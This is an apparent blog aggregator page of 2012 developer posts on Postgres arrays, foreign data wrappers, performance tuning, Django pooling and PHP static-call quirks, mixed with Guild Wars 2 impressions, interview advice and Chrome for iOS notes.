A few weeks back I did a brief feature highlight on Postgres arrays. Since that time I’ve found myself using them with increasing regularity on small side projects. Much of this time I’m using Django and of course not opting to write raw SQL to be able to use arrays. Django actually makes it quite simple to work with Arrays in Postgres with a package by Andrey Antukh. Lets get started by installing two libraries:

pip install djorm-ext-pgarray
pip install djorm-ext-expressions

The first library is for support for the array field type, the second allows us to more easily mix bits of SQL within the Django ORM.

Now within our models.py we’ll want import the library then we’ll have an entirely new field type available to us:

from djorm_pgarray.fields import ArrayField
from djorm_expressions.models import ExpressionManager
class Post(models.Model):
subject = models.CharField(max_length=255)
content = models.TextField()
tags = ArrayField(dbtype="varchar(255)")

Now we can begin using this. For example to create a simple blog post:

Post(subject='foo', content='bar', tags=['hello','world'])
post.save()

In this example we’re able to tag blog posts as one normally might, without requiring an extra model to join against. Taking advantage of the SQL Expressions library by Andrey as well we can query a blog post contains a certain tag:

qs = Posts.objects.where(
SqlExpression("tags", "@>", ['postgres', 'django'])
)

Now to show some contrast lets take a look at how you would do the same thing without using the Array field:

class Tag(models.Model):
name = models.CharField(max_length=255)
class Post(models.Model):
subject = models.CharField(max_length=255)
content = models.TextField()
tags = models.ManyToManyField(Tag)

Using the many-to-many relationship within Django requires you to save the Post, then add your tag is it requires having a primary key first:

 post = Post(subject='foo', content='bar')
post.save()
post.tags.add('hello','world')

This means we have two calls to save it, and similarly querying it is less clean as well:

posts = Post.objects.filter(tags__name="hello").distinct()

This would gives us all posts that have the tag hello in them. We could also search for multiple ones:

posts = Post.objects.filter(tags__in=["hello","world"]).distinct()

In the latter case distinct is especially important since it could return a post twice if its tagged with both hello and world.

In addition to an improvement on performance the gotchas are far less in dealing with a single array datatype and make it a quick but great win in certain cases like above.

Static::? More like Lies::

Donat Studios — Tue, 23 Oct 2012 02:28:30 GMT

In my professional work, we have a system that utilizes __call and __callStatic for caching of certain method calls. We have been running into a problem where calling an undefined method via :: within the class itself will trigger __call rather than the expected __callStatic.

The Problem

The following code example illustrates the issue.

<?php

class foo {
    function __call($name, $args){
        echo "__call " . $name . PHP_EOL;
    }

    public static function __callStatic($name, $args) {
        echo "__callStatic " . $name . PHP_EOL;
    }

    public function make_call_self() {
        self::ted();
    }

    public function make_call_static() {
        static::ted();
    }

    function make_call_classname() {
        foo::bob();
    }
}

$x = new foo();
$x->make_call_self();
$x->make_call_static();
$x->make_call_classname();
foo::sam();

The above returns the following when executed in PHP 5.3+ (excluding PHP 5.3.3, we'll get to this later)

__call ted
__call ted
__call bob
__callStatic sam

See Example

As you can see, all of those ideally should have triggered __callStatic but all save the last foo:::sam() triggered call. If you click the link to the example execution above, it shows that this did in fact work in PHP 5.3.3 but has since been broken.

I was just about to post this as a bug on PHP.net, but my friend Joel Clermont brought to my attention several cases of this being submitted in the past. One example being fairly infamous. Remember how I mentioned it working in 5.3.3? It was actually fixed in that release in response to a bug report. The problem apparently is that it broke a lot of things to do with the at the time new late static binding, and was rolled back in the next release.

From the horses mouth, via colder@php.net

You're misunderstanding the meaning of static::foo();

it doesn't mean "call foo statically" but rather "use runtime information to get the class currently called", and do a static(or not) call to the method of that class.

So static doesn't mean static apparently.

Understanding

After quite a bit of reading and a fair deal of explination by my friend Joel, I came to understand that ::, unlike C++, doesn't mean static at all. Rather it is a "Scope Resolution Operator" which determines scope from "context" meaning that when called from within an instance of an object, it makes instance calls if possible, rather than static calls. Infact, in 5.3+ you can even do $this::. The consequence of this is that self:: nor static:: are necessarily static calls.

This all rubs me wrong; I don't see the benefit to this behavior on the users end. Perhaps there is some backend optimization this allows. Even if that were the case I still feel like you could short circuit undefined self:: calls to __callStatic without breaking it.

Solutions

There were several "solutions" given, none of which are ideal.

Call __callStatic directly.
Use forward_static_call.
Call the class from within a lambda. (After some testing I see that this does not work in PHP 5.4+)

None of these are particularly clean nor ideal. Instead I would like PHP to either add a new call like stat:: or simply fix self:: and static:: to trigger the proper call. The latter of course would be ideal, especially as static has the word static in its name.

See

Redis in my Postgres

CRAIG KERSTIENS — Thu, 18 Oct 2012 23:55:56 GMT

Yesterday there was a post which hit Hacker News that talked about using SQL to access Mongo. While this is powerful I think much of the true value was entirely missed within the post.

SQL is an expressive language, though people are often okay with accessing Mongo data through its own ORM. The real value is that you could actually query the data from within Postgres then join across your data stores, without having to do some ETL process to move data around. Think… joining sales data from Postgres with user reviews stored in Mongo or searching for visits to a website (retained in redis) against purchases by user in Postgres.

The mechanism pointed out was a MongoDB Foreign Data Wrapper. A Foreign Data Wrapper or FDW essentially lets you connect to an external datastore from within a Postgres database. In addition to the Mongo FDW released the other day there’s many others. For example Postgres 9.0 and up ships with one called db_link, which lets you query and join across two different Postgres databases. Beyond that there’s support for a variety of other data stores including some you may have never expected:

Lets look at actually getting the Redis one running then see what some of the power of it really looks like. First we have to get the code then build it:

git clone git://github.com/antirez/hiredis.git cd hiredis make sudo make install

Then download the FDW from PGXN

PATH=/Applications/Postgres.app/Contents/MacOS/bin/:$PATH USE_PGXS=1 make
sudo PATH=/Applications/Postgres.app/Contents/MacOS/bin/:$PATH USE_PGXS=1 make install

Now you’ll want to connect to your Postgres database, using psql and enable the extension, and finally create your foreign table to your redis server. This is assuming a locally running redis, though you could connect to a remote just as easily:

CREATE EXTENSION redis_fdw;
CREATE SERVER redis_server
FOREIGN DATA WRAPPER redis_fdw
OPTIONS (address '127.0.0.1', port '6379');
CREATE FOREIGN TABLE redis_db0 (key text, value text)
SERVER redis_server
OPTIONS (database '0');
CREATE USER MAPPING FOR PUBLIC
SERVER redis_server
OPTIONS (password 'secret');

With dt we can now see the list of all of our tables:

# \dt
List of relations
Schema | Name | Type | Owner
--------+-----------+-------+-------
public | products | table | craig
public | purchases | table | craig
public | users | table | craig
(3 rows)

And with a full \d we can see not just the tables but also see we have a foreign table as well:

# \d
List of relations
Schema | Name | Type | Owner
--------+------------------+---------------+-------
public | products | table | craig
public | purchases | table | craig
public | redis_db0 | foreign table | craig
public | users | table | craig
(4 rows)

Finally we can actually query against it:

# SELECT * from redis_db0 limit 5;
key | value
---------+-------
user_40 | 44
user_41 | 32
user_42 | 11
user_43 | 3
user_80 | 7
(5 rows)

Or more interestingly we can join it against other parts of our data and filter accordingly. Below we’ll show users that have logged in at least 40 times:

SELECT
id,
email,
value as visits
FROM
users,
redis_db0
WHERE
('user_' || cast(id as text)) = cast(redis_db0.key as text)
AND cast(value as int) > 40;
id | email | visits
----+----------------------------+--------
40 | Cherryl.Crissman@gmail.com | 44
44 | Brady.Paramo@gmail.com | 44
46 | Laronda.Razor@yahoo.com | 44
47 | Karole.Sosnowski@gmail.com | 44
12 | Jami.Jeon@yahoo.com | 49
14 | Jenee.Morrissey@gmail.com | 47
16 | Yuki.Alber@yahoo.com | 48
18 | Marquis.Tartaglia@aol.com | 44
31 | Collin.Parrilla@gmail.com | 46
39 | Nydia.Bukowski@aol.com | 47
2 | Gaye.Monteith@aol.com | 48
6 | Letitia.Tripodi@aol.com | 41
(12 rows)

While several of the current FDWs are not production ready yet, some are more battle tested including db_link, textfile, ODBC and MySQL ones.

Updates in the Works

Ben E. C. Boyter — Sat, 13 Oct 2012 02:42:44 GMT

Recently I have rolled out a few small performance and functional tweaks and changes. Nothing major to report here however I am working on the next version of searchcode which has an improved look and feel and blended search results. The idea being if you search for “mysql_query” you are probably interested in the documentation first and code examples second, or if you search for “mysql_query is a blocking function?” you are probably interested in web or stackoverflow results. The idea is taking form and I should have something rolled out in the next few weeks or thereabouts.

Postgres Pooling with Django

CRAIG KERSTIENS — Tue, 02 Oct 2012 23:55:56 GMT

A feature thats glaringly missing within Django and common in many other frameworks including many Java frameworks and Rails is connection pooling for your database connection. As most Django users are Postgres users the default answer is to use something like pgPool or pgBouncer. This are tools that you can run that will persist a connection to your Postgres database intended to offer:

Connection Pooling
Replication
Load Balancing

Its of not that PgBouncer is intended very specifically for pooling while pgPool does much more.

Each of these in many cases can come with caveats though. If there are issues within your network they may not re-establish the connection properly. They also are not known to handle SSL renegotiation very well. Finally given running one more piece of software to reduce connection times it seems like a lot of overhead to simply reduce the connection time to your database.

Is connection time a real problem?

Given a well refined app, with a well refined schema with appropriate indexes your view should be doing things pretty quickly. If this is the case without some form of connection pooling and running in a cloud environment (in this case Heroku) your application performance looks like:

If you’ll notice that about 50% of our request time was in Postgres. The hard part to see is how much of this is actually doing something. In this case its issuing some very basic queries then rendering a very basic view.

The solution

By using something in the other Python ORM, SQLAlchemy, we can take advantage of its connection pooling. Large thanks to Kenneth Reitz for packaging this up into an easy to install and easy to use format as a Django DB backend. Using django_postgrespool it will take advantage of connection pooling and we can then see the performance after:

Understanding Postgres Performance

CRAIG KERSTIENS — Mon, 01 Oct 2012 23:55:56 GMT

Update theres a more recent post that expands further on where to start optimizing specific queries, and of course if you want to dig into optimizing your infrastructure High Performance PostgreSQL is still a great read

For many application developers their database is a black box. Data goes in, comes back out and in between there developers hope its a pretty short time span. Without becoming a DBA there’s a few pieces of data that most application developers can easily grok which will help them understand if their database is performing adequately. This post will provide some quick tips that allow you to determine whether your database performance is slowing down your app, and if so what you can do about it.

Understanding your Cache and its Hit Rate

The typical rule for most applications is that only a fraction of its data is regularly accessed. As with many other things data can tend to follow the 80/20 rule with 20% of your data accounting for 80% of the reads and often times its higher than this. Postgres itself actually tracks access patterns of your data and will on its own keep frequently accessed data in cache. Generally you want your database to have a cache hit rate of about 99%. You can find your cache hit rate with:

SELECT
sum(heap_blks_read) as heap_read,
sum(heap_blks_hit) as heap_hit,
sum(heap_blks_hit) / (sum(heap_blks_hit) + sum(heap_blks_read)) as ratio
FROM
pg_statio_user_tables;

We can see in this dataclip that the cache rate for Heroku Postgres is 99.99%. If you find yourself with a ratio significantly lower than 99% then you likely want to consider increasing the cache available to your database, you can do this on Heroku Postgres by performing a fast database changeover or on something like EC2 by performing a dump/restore to a larger instance size.

Understanding Index Usage

The other primary piece for improving performance is indexes. Several frameworks will add indexes on your primary keys, though if you’re searching on other fields or joining heavily you may need to manually add such indexes.

Indexes are most valuable across large tables as well. While accessing data from cache is faster than disk, even data within memory can be slow if Postgres must parse through hundreds of thousands of rows to identify if they meet a certain condition. To generate a list of your tables in your database with the largest ones first and the percentage of time which they use an index you can run:

SELECT
relname,
100 * idx_scan / (seq_scan + idx_scan) percent_of_times_index_used,
n_live_tup rows_in_table
FROM
pg_stat_user_tables
WHERE
seq_scan + idx_scan > 0
ORDER BY
n_live_tup DESC;

While there is no perfect answer, if you’re not somewhere around 99% on any table over 10,000 rows you may want to consider adding an index. When examining where to add an index you should look at what kind of queries you’re running. Generally you’ll want to add indexes where you’re looking up by some other id or on values that you’re commonly filtering on such as created_at fields.

Pro tip: If you’re adding an index on a production database use CREATE INDEX CONCURRENTLY to have it build your index in the background and not hold a lock on your table. The limitation to creating indexes concurrently is they can typically take 2-3 times longer to create and can’t be run within a transaction. Though for any large production site these trade-offs are worth the trade-off in experience to your end users.

Heroku Dashboard as an Example

Looking at a real world example of the recently launched Heroku dashboard, we can run this query and see our results:

# SELECT relname, 100 * idx_scan / (seq_scan + idx_scan) percent_of_times_index_used, n_live_tup rows_in_table FROM pg_stat_user_tables ORDER BY n_live_tup DESC;
relname | percent_of_times_index_used | rows_in_table
---------------------+-----------------------------+---------------
events | 0 | 669917
app_infos_user_info | 0 | 198218
app_infos | 50 | 175640
user_info | 3 | 46718
rollouts | 0 | 34078
favorites | 0 | 3059
schema_migrations | 0 | 2
authorizations | 0 | 0
delayed_jobs | 23 | 0

From this we can wee the events table which has around 700,000 rows has no indexes that have been used. From here you could investigate within my application and see some of the common queries that are used, one example is pulling the events for this blog post which you are reaching. You can see your execution plan by running an EXPLAIN ANALYZE which gives you can get a better idea of the performance of a specific query:

EXPLAIN ANALYZE SELECT * FROM events WHERE app_info_id = 7559; QUERY PLAN
-------------------------------------------------------------------
Seq Scan on events (cost=0.00..63749.03 rows=38 width=688) (actual time=2.538..660.785 rows=89 loops=1)
Filter: (app_info_id = 7559)
Total runtime: 660.885 ms

Given there’s a sequential scan across all that data this is an area we can optimize with an index. We can add our index concurrently to prevent locking on that table and then see how performance is:

CREATE INDEX CONCURRENTLY idx_events_app_info_id ON events(app_info_id);
EXPLAIN ANALYZE SELECT * FROM events WHERE app_info_id = 7559;
----------------------------------------------------------------------
Index Scan using idx_events_app_info_id on events (cost=0.00..23.40 rows=38 width=688) (actual time=0.021..0.115 rows=89 loops=1)
Index Cond: (app_info_id = 7559)
Total runtime: 0.200 ms

While we can see the obvious improvement in this single query we can examine the results in New Relic and see that we’ve significantly reduced our time spent in the database with the addition of this and a few other indexes:

Index Cache Hit Rate

Finally to combine the two if you’re interested in how many of your indexes are within your cache you can run:

SELECT
sum(idx_blks_read) as idx_read,
sum(idx_blks_hit) as idx_hit,
(sum(idx_blks_hit) - sum(idx_blks_read)) / sum(idx_blks_hit) as ratio
FROM
pg_statio_user_indexes;

Generally, you should also expect this to be in the 99% similar to your regular cache hit rate.

If you’re looking for a deeper resource on Postgres I recommend the book The Art of PostgreSQL. It is by a personal friend that has aimed to create the definitive guide to Postgres, from a developer perspective. If you use code CRAIG15 you’ll receive 15% off as well.

Adding mobile support to Simple

Tom Forbes — Sat, 22 Sep 2012 20:50:04 GMT

Last week I finally got round to adding support for mobile devices to Simple (the software that powers this blog). I thought I would write a quick post about getting a mobile version of your site up and running using Bootstrap from Twitter without changing much code at all. When including the respon...

Parsing Wikipedia database dumps with C-sharp and Postgres (6 degrees of Wikipedia)

Tom Forbes — Wed, 12 Sep 2012 03:46:42 GMT

tl;dr C# and Postgres are pretty damn fast. View code on github Recently I began working on a little experiment after I saw that Wikipedia offers XML dumps of their entire database for people to use. I wanted to create a website where users could enter two article titles and it would compute the sho...

Transplanting/Replacing Django child instances without deleting the parent

Tom Forbes — Fri, 31 Aug 2012 20:19:20 GMT

Django has a very neat feature called Multi Table Inheritance which allows you to create a ‘parent’ model with common fields and a variety of ‘child’ ones with specific fields. For example:...

Guild Wars 2 is here!

Ben Overmyer's Site — Sun, 26 Aug 2012 03:00:00 GMT

The reason this post is a day late is the same reason this post is being written: the Guild Wars 2 Head Start has begun. For the first time ever, I got up before 2 AM to play a new game. My guild, so active and loud in Ventrilo the night before, were all in Vent‚ but dead silent. The servers had come online three hours before the announced hour, and everyone was in game. Guild Wars 2 is, bar none, the best MMO I've ever played. Jumping into the game, I decided against trying to claim a bunch of names, and instead created my main character - Kolbrandr Ulffson, the Norn Ranger - and logged in. Since I played in the beta weekend events prior to this, I was ready to go and knew exactly what to do first. I went through the early part of my personal story, but after reaching a certain point in that (involving havrouns, if you're familiar with the story), I left off and started exploring. If nothing else, Guild Wars 2 is absolutely gorgeous. I fully explored the Norn starting area, and then the Norn city of Hoelbrak, getting the full-clear Achievement Chest for that area. Yes, you get boxes of awesome loot just for exploring and doing incidental side quests! The weapon-based skill system works beautifully. In no time at all, I was happily switching on the fly between my axe+torch skills and my longbow skills, lighting things on fire, chopping them up, and most satisfyingly, knocking them backward several yards with a well-placed arrow. Sadly, you can't use the arrow knockback to send mobs off cliffs, but ah well. Can't have everything, I guess. The jumping puzzles (called "undiscovered vistas" in the game) are just hard enough to be a challenge without being frustrating. There was only one that I did where I fell four or five times before completing it. I think the most striking thing about Guild Wars 2 is how the gameplay encourages strangers to work together. For most of my playtime yesterday, I was constantly running around with groups of people I didn't know, cooperatively completing events and earning tons of experience, loot, and karma. It works wonderfully! And on that note, I'm going to jump back into the game. See you next week, on Saturday as usual.

Merriam Webster is Rolling in his Grave. Literally.

Beetle Space — Wed, 22 Aug 2012 10:00:00 GMT

From the Merriam Webster online dictionary:

Definition of LITERALLY

in a literal sense or manner : actually. took the remark literally, was literally insane

in effect : virtually. will literally turn the world upside down to combat cruelty or injustice - Norman Cousins

When it comes to language, I’m not a purist …

Late Definition of PHP Class Members

Donat Studios — Tue, 21 Aug 2012 07:29:13 GMT

Working on a class in our application, I discovered that it was being included before a number of constants it used for its members were even defined. Puzzled on how this had never been a problem I started to experiment; echoing the member at the bottom of the class file after the class closed showed the expected CONSTANT_NAME. I was very confused at runtime the value of the member in the constructor and elsewhere in the class appeared correct.

To test what all behaves in this manner I threw together this simple set of three tests including instance members, static members, and class constants.

<?php

class foo {
    public $aaa = TEST_CONSTANT;
}

class bar {
    static $bbb = TEST_CONSTANT;
}

class baz {
    const ccc = TEST_CONSTANT;
}

define('TEST_CONSTANT', "Weird Result\n");

$x = new foo();

echo $x->aaa;
echo bar::$bbb;
echo baz::ccc;

Returns the following:

Weird Result
Weird Result
Weird Result

They all behave in the same manner, indicating that the members and class constants are not defined until the classes are invoked.

This is further demonstrated by the following example:

<?php

class foo {
    public $aaa = TEST_CONSTANT;
}

$x = new foo();
echo $x->aaa;

define('TEST_CONSTANT', "Weird Result. \n");

$y = new foo();
echo $y->aaa;

Which returns:

TEST_CONSTANTTEST_CONSTANT

So by touching the foo class, its initial value for $aaa has been locked in at what TEST_CONSTANT is at that time. Some testing indicates this also stands true for static methods and class constants as well.

This is a strange behavior I wanted to draw attention to. I certainly wouldn’t try to write something that was dependent on it, although our application currently seems to be.

Arrays in Postgres

CRAIG KERSTIENS — Mon, 20 Aug 2012 23:55:56 GMT

Postgres out of the box has an abundance of datatypes, from standard numeric datatypes to geometric or even network datatypes. With extensions you can get even more out of it as earlier discussed with hStore. Though with all of the datatypes its easy to miss out on some of them that are there, in fact one of my favorites is often missed entirely. The Array datatype lets you do just as you’d expect, store an array inside Postgres. With this you can often get some of the functionality you’d want in a single table when you might traditionally have expanded to multiple tables.

The broader question may be why you’d actually want to use an array. One good reason may be if you’re an application developer its how you think of your data, so why not model it the same way. As you’ll see below it can be easier than joining and aggregating across a set of rows. Also depending on your case you performance could be improved, though mileage may vary here as it does depend on the data you’re storing.

First a bit of a hacky example… Lets say you have a basic website that sells stuff, and instead of having a purchase ID and a total you want to include the quantity, id, and price of each item in a single row. With a bit of a messy foreign key (using a decimal) you could store all of this within a single row:

CREATE TABLE purchases (
id integer NOT NULL,
user_id integer,
items decimal(10,2) [100][1],
occurred_at timestamp
);

With this table I could have an array that holds multiple records of:

The item purchased
The quantity
The price

An insert to this table would look something like:

INSERT INTO purchases VALUES (1, 37, '\{\{15.0, 1.0, 25.0\}, \{15.0, 1.0, 25.0\}\}', now());
INSERT INTO purchases VALUES (2, 2, '{{11.0, 1.0, 4.99}}', now());

You can see a full example with UDF’s to compute total here

A more practical example may actually be using an array for tags. If you were to tag your purchases:

CREATE TABLE products (
id integer NOT NULL,
title character varying(255),
description text,
tags text[],
price numeric(10,2)
);

You could then query those just as you’d expect with a basic select statement, or could even expand the array to have an individual result per row:

 SELECT title, unnest(tags) items
FROM products

Protip: If you’re using arrays you can also use Postgres’ Gin and Gist indexes to search for products quickly that contain certain tags. Given an index you could search where its tagged with some id:

-- Search where product contains tag ids 1 AND 2
SELECT *
FROM products
WHERE tags @> ARRAY[1, 2]
-- Search where product contains tag ids 1 OR 2
SELECT *
FROM products
WHERE tags && ARRAY[1, 2]

Using Python metaclasses to make awesome Django model field choices

Tom Forbes — Tue, 14 Aug 2012 00:57:14 GMT

Edit: This code is now on PyPi: https://pypi.python.org/pypi/django-choice-object tl;dr Metaclasses are awesome When using Django’s Model or Form frameworks you can define a fixed set of choices for fields which are list of tuples containing a value and some text to associate with that value. The do...

Anticipating Guild Wars 2

Ben Overmyer's Site — Sat, 11 Aug 2012 03:00:00 GMT

In two weeks from today, the head start for Guild Wars 2 begins.

My feelings right now are mixed. I have never been a very excitable person, and tend to just keep busy rather than think about an upcoming event. However, this time is different. I find myself waiting with baited breath as the days tick by, bringing us ever closer to launch. I can feel the anticipation building. My guild is humming with activity, and the energy is contagious.

As a way to greet the game that may become the greatest MMORPG I have ever played, I committed to drawing one Guild Wars 2-themed sketch per day and posting it to my guild's forums. Each day's sketch is unplanned, other than that I want to stick to the rough ink style I've been using lately. I may use deviantART's Muro, or I might draw by hand. Either way, the drawing will be guided by listening to the Guild Wars 2 soundtrack (courtesy of YouTube).

I bought the Digital Deluxe edition rather than the Collector's Edition, and I don't regret that choice. I do wish I could get a copy of the soundtrack legitimately in MP3 form, though, and for that I hope to turn to one of the music services - Amazon, Zune, or Google Play.

Each of the posts to Dicejockey for the next few weeks is likely to be GW2-themed. If you're here for Ingenium news, keep an eye on the Silver Gryphon Games website; that's where I'll be posting about 2nd Edition and Eiridia.

Guild Wars 2 Final Beta Weekend

Ben Overmyer's Site — Sat, 21 Jul 2012 03:00:00 GMT

So last night was the first time I got to play Guild Wars 2. I've already preordered the Digital Deluxe Edition, and based on last night's experience, it was money well spent. My first character I rolled up was a Norn Ranger. I loved the “My Story” portion of character creation, and it was seamlessly integrated into the rest of the process. The Norn are huge, hulking giants with an extremely Norse flavor to them. The word “norn” itself is directly lifted from Norse mythology. That had my attention from before I even played the game, but it was greatly evident once I logged in that Norse mythology has influenced every facet of the Norn race. It was a great experience.

The Ranger class proved to be a lot of fun. I started the game with an alpine wolf companion, and tamed a raven and an ice drake later on. I encountered a bug where, once I'd tamed a third creature, it took the name I'd given to my first. Switching them around fixed that (I LOVE being able to hot-swap pets). I tried three different weapon types with the Ranger - longbow, shortbow, and axe. Of the three, longbow was definitely my favorite, and the Barrage skill was far and away my favorite of the longbow set of skills. An AoE storm of arrows falling from the sky? Yes please. After doing several tasks (quests) and participating in a number of Events (kind of like public quests from Warhammer Online), I veered off into the realm of exploration.

Guild Wars 2 actively rewards exploration, by placing “Undiscovered Vistas” throughout the game world. These Vistas are jumping puzzles that reward completion with XP and a cinematic pan around the area. During my exploration of the Norn areas, I stumbled on something that stole my attention for a good half hour - Keg Brawl. It's a little like football meets soccer meets a tavern brawl, where the “ball” is a keg of ale. It has rounds, but the players can drop in and out at any time, and it tries to balance the teams. Keg Brawl was a little frustrating at first, but once I figured out the abilities, it got to be fun. I also tried out an Asura Elementalist and a Charr Thief for a little bit, but I didn't really play them long enough to evaluate them properly. Unlike with my Norn character, I blew through character creation and just got into the game, ignoring the Story choices. I've already decided that my main at launch will be a Norn, so I didn't really want to know much about the other races' stories. The experience was pretty smooth, with very few glitches. However, there was one bug that proved very irritating. Every so often, I would try and interact with the login server (either to create a new character or to attempt to logout), and it would fail to connect to it. That in itself would have been fine, but then I would be unable to logout, unable to quit the program, and whenever I opened the Windows Task Manager to try and kill GW2, the entire computer would lock up. Only a hard reset would fix the issue. They really need to fix that problem, and I'm sure they will. But the game itself is a blast so far.

Web Developer Resumé/Interview Advice

Donat Studios — Fri, 20 Jul 2012 10:20:37 GMT

As Lead Developer at my previous company I interviewed many Developers. I wanted to provide some advice to Developers on how to come off more positively.

For the purposes of this post I, me and all other pronouns referring to myself refer to a hiring professional.

Some Basics Up Front

Google yourself. Google your email address, I will! There will be lots of Googling before you're hired. I am well versed in the darker Google arts, and odds are I will find you. If I don't find you, that's almost as detrimental as finding something fairly negative; you are interviewing for a Web related job, but don't have a presence on the Web?

I will look at your Facebook / Twitter if they're open to the public. This can actually be a very good thing if your posts are nerdy.

Try not to have the top result for your name be the police report for the night you spent in jail. This is strangely common in my experience. Demonstrate some SEO skills, buy yourname.name! Do something to get that big red mark off the first page.

One of the most important things I can recommend is having a website. Not only will it ideally outrank your jail time on Google presuming your name's all over it, but ideally it's a technology website where you talk about experiences and things you've learned you want to share with others. This helps support your resume and your interview. This is very important, it brings substance to the game. It shows your interest in technology goes beyond making money. Also, lots of bonus points for not using Wordpress, I know it's tempting, but build something your self or use something more exotic. Any slob with a 56k can throw together a Wordpress site. Be sure to list it on your resume. I don't care how bad it is, fix it up, that's no excuse. If you have your name, or your email address or anything else I can surmise about you, I will find it. If I find it, I'll presume you were hiding it from me - and that doesn't come off well.

Have extracurricular code samples. Using Github or other similar service, and more importantly including a link on your resume not only shows a willingness to stand by your code, but show a versed knowledge of SCM. If you don't build things in your own time, you're not learning as much as you could be.

The best thing I can recommend is writing your own framework. All the best developers I know have at one time or another created their own framework. It is an amazing learning experience for you, and moreover it gives a huge amount of insight into the way you think, and the way you prefer to code

Resume Basics

Your resume exists to spark a conversation; it shouldn't be huge and it doesn't need every minute detail about every project you've worked on. If it goes over four pages odds are I'm not reading it all.

Leaving pieces vague helps me ask questions, which can help spark a conversation. Often the most important bits are in questions I didn't ask.

Be painfully consistent. Spelling/casing the same technology multiple ways reflects poorly on you. If you can't be consistent in your resume, what is to say you'd be consistent in your work?

Have the same name, address, email, and phone number on every document. Not only is inconsistency here really awkward when trying to contact you, but it helps me keep my notes on you organized. I may be interviewing several people that day and often these documents will be stacked on my desk between interviews.

Mention things you've built from the ground up. While framework knowledge is useful in places looking for an expert in a specific framework, ground up work demonstrates a broader depth of knowledge.

Don't send your resume as a .txt file. It's not cool.

Interview Basics

Always be on time, especially for a phone interview. Gathering people to make a call just for you to not pick up is infuriating.

When you are asked a question, elaborate! Go off on small tangents about why some piece worked or didn't. Smile devilishly and mention how something saved the day! That said, don't ramble, there is a fine balance. Don't spend minutes answering what should have been a several second answer.

Bring samples of work not included on your resumé. These are incredible talking points.

Be ready to identify what specific pieces you worked on.
Don't include very similar examples.

Ahead of time consider interesting challenges faced working on each, you will be asked. If the answer is none, it's probably not worth including.

Other Important Bits

Try to not be nervous. Easier said than done, but you don't need this job, or at least act like you don't. That's not to say be cocky - just that showing neediness as with a personal relationship, can scare people away.

Experience is far more important than education. Talk less about what you've done in school and more about what you've done professionally or even better on your own.

Don't drone on about wanting to work from home or needing quiet. Every developer is a bit of an introvert, but going on about it indicates problems working with others to come.

Rapid API Prototyping with Heroku Postgres Dataclips

CRAIG KERSTIENS — Thu, 19 Jul 2012 23:55:56 GMT

For small and large applications there often comes a time where you’re busy creating an API. The API creation process usually takes the form of something like: Design your API, Implement your API, Test and Evaluate, Rinse and Repeat. Historically with implementing the API fully you can’t see how you truly feel about the result, causing this cycle to take longer than it should. Heroku Postgres has Dataclips, which (among other things) can be used for quickly prototyping APIs. Dataclips allows you to easily share data, but more importantly consume it in a form much like you would a restful API. Lets take a look at how this would work:

Given a schema

We can see from the screen shot of the schema above we can see we have a few tables. These tables are the complete works of Shakespeare thanks to opensourceshakespeare. Lets take a couple of hypothetical endpoints we’ve decided on that we’d like to expose for users and test as an API.

The number of works per year
Drone factory (this is a fun one courtesy of Richard Morrison - @mozz100 essentially who has the longest paragraphs on average in his works.

Create a dataclip

Now we open up our database on Heroku Postgres and go down near the bottom to the dataclips section. Click the plus to create a new dataclip and we can enter our queries.

SELECT
year,
count(*)
FROM
works
GROUP BY
year
ORDER BY
year ASC

Click Create Clip and you’ll be redirected to your new dataclip. This unique URL will always return the results of that query and if you want to shift it to a real time API that re-runs the query you can flip the now switch. For my simple example above my url for this dataclip is now https://dataclips.heroku.com/fcroecrluhwltbjinstfqmwyneex.

Using the dataclip as a prototype API

There are many different use cases for dataclips, but of course for our sake we care about prototyping an API instead of sharing the data. To do this you can simply append the format you want to the url above and test as if it were an API:

Essentially anything you can bake down to a query (much like you would in your App’s API layer) you can expose in this form to quickly test. For a more complicated example you can check out the Drone factor query.

Billions of lines of code

Ben E. C. Boyter — Tue, 17 Jul 2012 02:43:44 GMT

Recently I fired off the spiders to pull in an additional 30,000 projects I was aware of and then added them to the index. The result being searchcode now has 3.8 billion lines of code indexed. The exact count being 3,863,756,553 lines. Of course the reason this is most exciting for me is that koders.com which is the default code search (now that Google Code search has been retired) has 3.3 billion lines of code index according to their website. Of course, searchcode does index anything considered “textual” data so there is a lot of non-code results in the index so the counts are probably fairly close in terms of what’s relevant. In short though, for a single person operation running on a single server I think its pretty impressive.

Things I expect in a Chrome/iOS update

Nemo's Home — Sat, 14 Jul 2012 03:00:00 GMT

I’ve changed to using Chrome for iOS as my primary browser. Since I only own an iPad 2, all of my observations are with regard to the iPad version of the browser.

Why I love Chrome

Chrome is already my primary browser on my primary machine, and after it came out for the iOS, I tried it out hesitantly, but to my surprise (contrary to what the internet says) it is working out even better than expected.

Ability to sync tabs across my laptop and tablet. I can leave my laptop and continue reading on the go. I don’t own a Mac, so I can’t comment against how Safari/iCloud does it, but it works well enough for me.
All my desktop bookmarks (and bookmarklets) are available and functioning instantly.
Omnibox is awesome, and saves me a lot of trouble, looking in my history, bookmarks, and pre-fetching stuff. This was the most important feature that Chrome v1 brought along with it (when it was released in Windows), and its nice to find it work exactly as indended.
Incognito Mode (I previously used Dolphin in private mode, but this is far better).
Complete bookmark listing while creating a new bookmark. Unlike Desktop version of Chrome, which only shows 5 most recently used folders. I bookmark stuff extensively, and it makes the process much easier for me than on the desktop version, ironically. See Image for Comparision
Tab Switching is brilliant. It seems to be inspired/copied straight from Paper, but it is executed well enough for me. It gets better once you get used to it. The tag bar itself is scrollable as a plus (you can hide/unhide tabs). I’ve read people complaining about this, but it helps me browse on the ipad one-handed.
It feels fast, especially after continous use. I don’t know if its the ported networking stack, or better caching, but page load speeds are better than Safari for me in general.

Note: If you have a jailbroken device, you can setup Chrome as your default browser using BrowserChooser from Cydia. The best part is that home-screen shortcuts open in Chrome as well. I’ve ditched Facebook App for a shortcut icon to touch.facebook.com as a result.

Things I want

Support for configurable search engines. I use them extensively (for eg duckduckgo, google lucky search, amazon, ebay, github, stackoverflow and even google mobile search). The pre-defined search engines are of no use to me (Bing/Yahoo/Guruji).
Find in Page. This is a no-brainer. Edit: This is available via Chrome Customizer in Cydia for a jailbroken device.
Ability to turn off images/javascript) (Content Settings). I’m not sure if it will be possible w/o proxying like how Opera does, but this would be nice to have (since people might want to save bandwidth on 3g).
Support for emailing an entire page (rendered).
UserScript support. I don’t know if apple would allow it at all, but I think the Apple ToS disallows code to be downloaded. What if there were some sort of linking support to allow me to insert some external script tag?
Readability/iReader like support. The safari readability link does work wonders. This could be simulated with a bookmarklet, but once again calling them is hard. Update: ChromeCustomizer can do this via settings menu (see below).
